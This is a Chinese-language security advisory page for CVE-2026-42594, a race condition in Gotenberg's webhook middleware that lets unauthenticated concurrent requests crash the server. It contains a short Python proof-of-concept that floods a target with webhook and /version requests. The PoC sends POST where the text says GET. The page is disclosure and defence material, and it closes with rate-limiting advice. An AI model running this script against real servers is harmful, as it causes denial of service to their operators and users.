IPBUF安全漏洞报告
English
CVE-2026-42594 CVSS 7.5 高危

Gotenberg Webhook竞争条件致拒绝服务漏洞 (CVE-2026-42594)

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-42594
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gotenberg

相关标签

拒绝服务竞争条件GotenbergCVE-2026-42594DoS

漏洞概述

Gotenberg是一个基于Docker的PDF API。在8.32.0版本之前,webhook中间件存在并发安全漏洞。攻击者无需认证即可利用goroutine与上下文回收的竞争条件,通过发送特制并发请求导致服务进程崩溃,造成拒绝服务。

技术细节

该漏洞发生在webhook中间件处理异步请求时。当handler返回ErrAsyncProcess后,Echo将Context回收到sync.Pool,但goroutine仍持有引用。若并发请求重用该Context并调用Reset()清空存储,且webhook goroutine恰好在hardTimeoutMiddleware处访问该存储,会触发未检查的类型断言panic。由于panic在recover()作用域外,导致进程崩溃。攻击者通过约24个webhook请求配合60个GET请求即可在两秒内崩溃进程。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务为存在漏洞的Gotenberg实例(版本<8.32.0)。
STEP 2
并发攻击
攻击者向目标服务器同时发送大量并发请求,包括约24个webhook请求和60个GET /version请求。
STEP 3
触发竞争条件
服务端在处理请求时,Echo框架的Context回收机制与webhook goroutine的访问发生竞争。
STEP 4
服务崩溃
Context被重置导致goroutine访问空指针引发panic,进程因未被捕获而崩溃,实现拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import aiohttp async def send_request(session, url, endpoint): try: async with session.post(url + endpoint) as resp: pass except Exception: pass async def main(target_url): webhook_endpoint = "/webhook" # Adjust based on actual config version_endpoint = "/version" async with aiohttp.ClientSession() as session: tasks = [] # Send ~24 webhook requests for _ in range(24): tasks.append(send_request(session, target_url, webhook_endpoint)) # Send ~60 GET requests for _ in range(60): tasks.append(send_request(session, target_url, version_endpoint)) await asyncio.gather(*tasks) if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] asyncio.run(main(target)) else: print("Usage: python poc.py <target_url>")

影响范围

Gotenberg < 8.32.0

防御指南

临时缓解措施
建议在反向代理(如Nginx)层面实施严格的速率限制,限制单个IP的并发连接数和请求频率,防止恶意的并发请求攻击。同时,在网络层限制对webhook端口的访问,仅允许可信的内部IP调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表